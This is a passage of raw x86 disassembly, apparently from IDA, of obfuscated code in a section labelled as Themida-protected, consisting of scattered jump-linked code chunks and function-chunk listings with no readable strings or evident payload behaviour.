loc_5912F5:				; CODE XREF: Themida_:0058CE42j
		mov	ebp, 4C743545h
		not	ebp
		xor	ebp, 2DAC5863h
		not	ebp
		neg	ebp
		add	ebp, 9CB0BCF5h
		mov	edi, ebp
		pop	ebp
		not	edi
		shr	edi, 1
		push	edi
		xchg	ebp, [esp]
		inc	ebp
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_5953C4
; ---------------------------------------------------------------------------


loc_591323:				; CODE XREF: Themida_:loc_5902CEj
		dec	cl
		jns	loc_597D13
		sub	cl, 31h
		mov	ah, cl
		pop	ecx
		push	ecx
		mov	cl, ah
		jmp	loc_58F1B1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_591339:				; CODE XREF: sub_5EC2E8-5C333j
		push	1D896B3Dh
		pop	ebp
		inc	ebp
		neg	ebp
		jo	loc_592988
		add	ebp, 1D896B42h
		mov	edx, ebp
		pop	ebp
		jmp	loc_5964DB
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------


loc_591356:				; CODE XREF: Themida_:0058BDADj
		sub	esi, 0AB11A8A2h
		push	esi
		sub	dword ptr [esp], 57E31B65h
		jmp	loc_58C160
; ---------------------------------------------------------------------------


loc_591369:				; CODE XREF: Themida_:005950BCj
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		jmp	loc_594F3E
; ---------------------------------------------------------------------------


loc_591375:				; CODE XREF: Themida_:005964D0j
		jmp	loc_597F1C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595E21


loc_59137A:				; CODE XREF: sub_595E21-5772j
		mov	[esp+0], ebx
		mov	ebx, 4
		add	ecx, ebx
		jmp	loc_597037
; END OF FUNCTION CHUNK	FOR sub_595E21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_591389:				; CODE XREF: sub_590010-2E62j
		pop	ebx
		add	ecx, esi
		push	esi
		mov	esi, 7DF57918h
		inc	esi
		xor	esi, 2BFB3B91h
		add	ecx, esi
		pop	esi
		mov	esi, [esp+4+var_4]
		jmp	loc_592E9B
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_5913A4:				; CODE XREF: sub_5916C4+171Ej
		add	edi, ebx
		sub	edi, 13014DF9h
		pop	ebx
		push	ebx
		jmp	loc_591CC9
; ---------------------------------------------------------------------------


loc_5913B3:				; CODE XREF: sub_5916C4+3FF8j
		push	ecx
		mov	ecx, esp
		push	esi
		jmp	loc_5963D2
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------


loc_5913BC:				; CODE XREF: Themida_:00593BC0j
		sub	ebp, 60187465h
		jmp	loc_592022
; ---------------------------------------------------------------------------


loc_5913C7:				; CODE XREF: Themida_:0058E291j
		mov	esi, 629207EFh
		push	ebp
		mov	ebp, 33A83EC5h
		push	esi
		mov	esi, 3E8611FAh
		xor	ebp, esi
		pop	esi
		inc	ebp
		dec	ebp
		xor	ebp, 0A8E0D15h
		and	esi, ebp
		pop	ebp
		shr	esi, 5
		shr	esi, 3
		shr	esi, 2
		shl	esi, 2
		xor	esi, 4A779382h
		add	eax, esi
		pop	esi
		jmp	loc_5935FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595BDA


loc_591400:				; CODE XREF: sub_595BDA-38F9j
		mov	dl, bh
		mov	cl, dl
		pop	edx
		pop	ebx
		shr	cl, 4
		jmp	loc_58ACF4
; END OF FUNCTION CHUNK	FOR sub_595BDA
; ---------------------------------------------------------------------------
		sub	esp, 4
		push	2740h
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		push	7502h
		mov	[esp], esi
		push	eax
		jmp	loc_59723A
; ---------------------------------------------------------------------------


loc_591432:				; CODE XREF: Themida_:005947A1j
		xor	dh, 4Ch
		jmp	loc_592700
; ---------------------------------------------------------------------------


loc_59143A:				; CODE XREF: Themida_:loc_594E63j
		sub	ebp, 986AA3FFh
		sub	ebp, 25FF5F55h
		xchg	esi, ebp
		jmp	loc_594D97
; ---------------------------------------------------------------------------


loc_59144D:				; CODE XREF: Themida_:0058F6E0j
		push	ebx
		jmp	loc_58CB49
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_591453:				; CODE XREF: sub_590467-5326j
		xchg	esi, [esp+6+var_6]
		pop	esp
		push	dword ptr [esp+0]
		push	[esp+6+var_6]
		jmp	loc_594490
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------


loc_591462:				; CODE XREF: Themida_:0058CBB2j
		mov	[esp], ecx
		push	eax
		mov	ah, 2Bh
		mov	ch, 96h
		push	edx
		mov	dh, 90h
		neg	dh
		dec	dh
		and	dh, 58h
		not	dh
		jmp	loc_5962B1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916CB


loc_59147B:				; CODE XREF: sub_5916CB-2E2Bj
		pop	esi
		jmp	loc_58CFF9
; END OF FUNCTION CHUNK	FOR sub_5916CB
; ---------------------------------------------------------------------------


loc_591481:				; CODE XREF: Themida_:00592F4Ej
		push	eax
		mov	ah, 0D3h
		and	ah, 0B2h
		jz	loc_596992
		add	ah, 4Bh
		jmp	loc_58C776
; ---------------------------------------------------------------------------


loc_591495:				; CODE XREF: Themida_:005941FBj
		xor	ecx, edi
		xor	edi, ecx
		xor	ecx, edi
		push	edi
		push	ebx
		pop	edi
		pop	ebx
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebx
		not	dword ptr [esp]
		pop	ebx
		push	46C6h
		mov	[esp], edi
		push	ebx
		jmp	loc_596A64
; ---------------------------------------------------------------------------


loc_5914C3:				; CODE XREF: Themida_:00594E37j
		push	eax
		jmp	loc_595C61
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_5914C9:				; CODE XREF: sub_5916C4-19FAj
		pop	ebx
		add	eax, 745F2862h
		sub	eax, 3AE1D9ADh
		and	ebp, eax
		pop	eax
		add	ebp, 1
		xor	ebp, 5DC272E2h
		inc	ebp
		jmp	loc_594B9B
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_5914E9:				; CODE XREF: sub_590467-2C68j
		pop	eax
		add	bl, 1
		push	ecx
		mov	ch, 67h
		jmp	loc_590B14
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------


loc_5914F5:				; CODE XREF: Themida_:00597572j
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		pop	dword ptr [esp]
		jmp	loc_58E7BC
; ---------------------------------------------------------------------------


loc_591506:				; CODE XREF: Themida_:0058B18Bj
		xchg	edi, [esp]
		mov	esp, [esp]
		and	[esp], ax
		pushf
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_591516:				; CODE XREF: sub_5916C4-4147j
					; sub_58C17E+A53Ej
		push	ecx
		push	3E230A94h
		jmp	loc_58C692
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_59667E
; ---------------------------------------------------------------------------


loc_591529:				; CODE XREF: Themida_:0058F750j
		mov	ecx, 0DE52ABh
		jmp	loc_5906E6
; ---------------------------------------------------------------------------


loc_591533:				; CODE XREF: Themida_:loc_5944C8j
		or	ebx, 6B1F47A3h
		jmp	loc_58CC3A
; ---------------------------------------------------------------------------


loc_59153E:				; CODE XREF: Themida_:00597C32j
		push	ebx
		mov	ebx, 2
		add	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_59637B
; ---------------------------------------------------------------------------
		lodsb
		push	small 2020h
		mov	[esp], cx
		push	edx
		mov	dl, 0C2h
		neg	dl
		shl	dl, 5
		jmp	loc_58CAED
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_591573:				; CODE XREF: sub_5938B9:loc_595365j
					; sub_5916C4+5961j
		shl	ebx, 2
		and	ebx, 25C8004Ch
		add	ebx, 4ADDD8A5h
		mov	ecx, ebx
		pop	ebx
		sub	ebp, ecx
		jmp	loc_58F3EC
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------


loc_59158C:				; CODE XREF: Themida_:0058C97Aj
		push	small 71C0h
		mov	[esp], ax
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_591599:				; CODE XREF: Themida_:0058ACB1j
		add	edx, 4
		add	edx, 4
		jmp	loc_58F94B
; ---------------------------------------------------------------------------


loc_5915AA:				; CODE XREF: Themida_:00592732j
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		mov	edi, esp
		sub	esp, 4
		jmp	loc_58B8E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_5915CE:				; CODE XREF: sub_5916C4-2E3Ej
		pop	ecx
		jmp	loc_58A2CE
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------


loc_5915D4:				; CODE XREF: Themida_:0058B57Ej
		pop	ebx
		push	esi
		jmp	loc_590B01
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D99C


loc_5915DB:				; CODE XREF: sub_58D99C+687Ej
		xor	[esp+10h+var_10], ecx
		xor	ecx, [esp+10h+var_10]
		mov	esp, [esp+10h+var_10]
		mov	word ptr [esp+10h+var_10], ax
		jmp	loc_58A2CE
; END OF FUNCTION CHUNK	FOR sub_58D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_5915ED:				; CODE XREF: sub_58F5B5+83AFj
		push	ecx
		mov	ecx, 25534DE8h
		sub	edx, ecx
		pop	ecx
		sub	edx, 1C5F236Fh
		sub	edx, 10930B62h
		sub	edx, 38EB75F7h
		sub	edx, 169B1BB5h
		jmp	loc_58A2CE
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595123


loc_591613:				; CODE XREF: sub_595123-7726j
		add	eax, 4
		xchg	eax, [esp+14h+var_14]
		pop	esp
		jmp	loc_58B321
; END OF FUNCTION CHUNK	FOR sub_595123
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_59161F:				; CODE XREF: sub_58F5B5+7192j
		add	ebp, 4
		push	edi
		mov	edi, 4
		push	esi
		push	ebx
		jmp	loc_592F62
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------


loc_591632:				; CODE XREF: Themida_:0058CCEAj
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		idiv	ecx
		push	636Ah
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_597DF0
; ---------------------------------------------------------------------------


loc_59164E:				; CODE XREF: Themida_:0058F195j
		sub	ebx, ecx
		pop	ecx
		not	ebx
		push	edx
		push	ebp
		jmp	loc_58F8FA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_59165A:				; CODE XREF: sub_590010-4AECj
		inc	eax
		jmp	loc_5927B1
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		push	ebp
		push	edx
		mov	edx, 9AA7DB8h
		mov	ebp, 7647E17Ah
		sub	ebp, edx
		pop	edx
		add	ebp, 0FFFFFFFFh
		shl	ebp, 5
		or	ebp, 23175602h
		shl	ebp, 4
		push	ebx
		mov	ebx, 6B355527h
		jmp	loc_58D9A8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595E21


loc_59168F:				; CODE XREF: sub_595E21-160Bj
		mov	edx, [esp+0]
		jmp	loc_597BE9
; END OF FUNCTION CHUNK	FOR sub_595E21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58BA12


loc_591697:				; CODE XREF: sub_58BA12+86AFj
		push	esi
		mov	esi, 56167E51h
		jmp	loc_5924A9
; END OF FUNCTION CHUNK	FOR sub_58BA12
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_5916A2:				; CODE XREF: sub_590010-4BCAj
		push	4B3Ch
		mov	[esp-0Ch+arg_8], eax
		jmp	loc_58E6D6
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_5916AF:				; CODE XREF: sub_58F5B5+AE2j
		mov	edx, 5A1905A8h
		xor	ebx, edx
		pop	edx
		jmp	loc_590910
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_5916BC:				; CODE XREF: sub_58C17E+BB45j
		push	dword ptr [esp+0]
		jmp	loc_5941D6
; END OF FUNCTION CHUNK	FOR sub_58C17E

; =============== S U B	R O U T	I N E =======================================



sub_5916C4	proc near		; CODE XREF: sub_59089C-18F0j

var_1A		= dword	ptr -1Ah
var_16		= dword	ptr -16h
var_12		= dword	ptr -12h
var_E		= dword	ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h
arg_14		= dword	ptr  18h

; FUNCTION CHUNK AT 0058A806 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058A9A8 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058A9F3 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058AA99 SIZE 00000043 BYTES
; FUNCTION CHUNK AT 0058ABE9 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058AC58 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 0058AFDB SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058B27B SIZE 0000002A BYTES
; FUNCTION CHUNK AT 0058B3BD SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058B3F0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0058B5F8 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0058B632 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058B765 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0058B7E3 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058BB06 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0058BD1E SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0058BE32 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058C07C SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058C497 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0058C4FF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058C58D SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058C9D9 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058CA29 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058CA87 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058CC90 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058CCA5 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0058CD63 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0058CDEC SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058D413 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0058D557 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 0058D919 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0058DA99 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058DCC0 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058DD51 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0058DD66 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058DFA0 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058DFBD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0058E221 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058E3B4 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0058E859 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058E875 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0058ED1E SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0058F1B1 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058F21F SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058F259 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0058F3EC SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058F8C3 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058FAD1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058FB7E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058FC93 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0058FCC1 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058FD5F SIZE 00000031 BYTES
; FUNCTION CHUNK AT 005900D6 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00590118 SIZE 0000004B BYTES
; FUNCTION CHUNK AT 005901F7 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 00590363 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00590497 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00590631 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00590658 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00590707 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 00590845 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00590938 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00590A17 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00590B9E SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00590EDD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00590F10 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00590FC6 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 005911B2 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0059122E SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005912D7 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005913A4 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005914C9 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00591573 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005915CE SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00591709 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005919DA SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00591A9C SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00591CC9 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00591CEE SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00591DF6 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00591F45 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00592019 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00592150 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059232E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00592503 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005925C3 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005927E1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00592972 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005929EC SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00592A17 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00592A28 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00592A82 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00592B57 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00592C12 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00592D63 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00592DDC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00592DFF SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00593026 SIZE 0000003E BYTES
; FUNCTION CHUNK AT 0059309E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005931C5 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005933FD SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005934E2 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 005937E0 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00593802 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059388D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00593925 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00593AB7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00593AF1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00593B98 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00593CC1 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00593D33 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00593D62 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00593E59 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059423F SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00594390 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005943BF SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005946A9 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005946BF SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0059470C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059489A SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00594AFD SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00594B5E SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00594B9B SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00594C3C SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00594CB3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00594DA2 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00595431 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059547B SIZE 00000025 BYTES
; FUNCTION CHUNK AT 00595602 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005956BA SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00595705 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 005957F7 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005958BF SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059596D SIZE 0000002A BYTES
; FUNCTION CHUNK AT 00595A8E SIZE 0000002C BYTES
; FUNCTION CHUNK AT 00595C0E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00595DA2 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00595E8C SIZE 0000004C BYTES
; FUNCTION CHUNK AT 00595F9B SIZE 00000029 BYTES
; FUNCTION CHUNK AT 00596109 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00596173 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005963D2 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0059641C SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00596477 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00596655 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005967C2 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00596868 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00596ADF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00596BBC SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00596CC1 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00596DEA SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00596EE8 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00596FF5 SIZE 00000048 BYTES
; FUNCTION CHUNK AT 005972E7 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0059750E SIZE 0000003C BYTES
; FUNCTION CHUNK AT 005977C3 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00597CE4 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00597F43 SIZE 0000001E BYTES

		push	ebp
		push	eax
		jmp	loc_597CE4
sub_5916C4	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5916CB	proc near		; CODE XREF: sub_5916C4+2D09j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0058A946 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058ADEC SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058B0B8 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0058BAB2 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0058C50F SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058C72E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058C76A SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058CEB1 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058CFF9 SIZE 00000058 BYTES
; FUNCTION CHUNK AT 0058DEBB SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0058DF20 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058E25F SIZE 0000002B BYTES
; FUNCTION CHUNK AT 0058E4E3 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058E5C6 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0058E6D0 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058E893 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0058E9E9 SIZE 00000040 BYTES
; FUNCTION CHUNK AT 0058F172 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058F2DF SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0058F39F SIZE 00000031 BYTES
; FUNCTION CHUNK AT 0058F57A SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058FFD3 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005900F4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00590B60 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00590C11 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 00591072 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059147B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00592BCF SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00592C84 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 00592E7F SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00592FD6 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005937A4 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00593BD3 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00593F93 SIZE 0000002F BYTES
; FUNCTION CHUNK AT 005949C1 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00594BAC SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005952AE SIZE 0000002A BYTES
; FUNCTION CHUNK AT 005953A1 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005959A4 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00595DF6 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00595F7D SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00596139 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00596671 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00596713 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059682E SIZE 00000029 BYTES
; FUNCTION CHUNK AT 005969EA SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00596BFE SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00596EC3 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 005973A9 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00597D1F SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00597D45 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00597D77 SIZE 00000015 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebx
		jmp	loc_590B60
sub_5916CB	endp

; ---------------------------------------------------------------------------


loc_5916D9:				; CODE XREF: Themida_:00594B88j
		pop	ebx
		mov	esi, eax
		pop	eax
		shl	esi, 8
		xor	esi, 614A6B72h
		sub	ebx, esi
		pop	esi
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 2536581Eh
		shr	ebp, 3
		push	eax
		jmp	loc_590213
; ---------------------------------------------------------------------------


loc_5916FD:				; CODE XREF: Themida_:0058F562j
		inc	ebx
		jmp	loc_58E314
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D99C


loc_591703:				; CODE XREF: sub_58D99C-15CBj
		pop	ebp
		jmp	loc_592834
; END OF FUNCTION CHUNK	FOR sub_58D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_591709:				; CODE XREF: sub_5916C4+5C35j
		lodsb
		xor	al, bl
		jmp	sub_5921D8
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------


loc_591711:				; CODE XREF: Themida_:00591DA6j
		xor	ecx, 71AA21AAh
		xor	ebx, ecx
		pop	ecx
		mov	eax, ebx
		pop	ebx
		jmp	loc_58D208
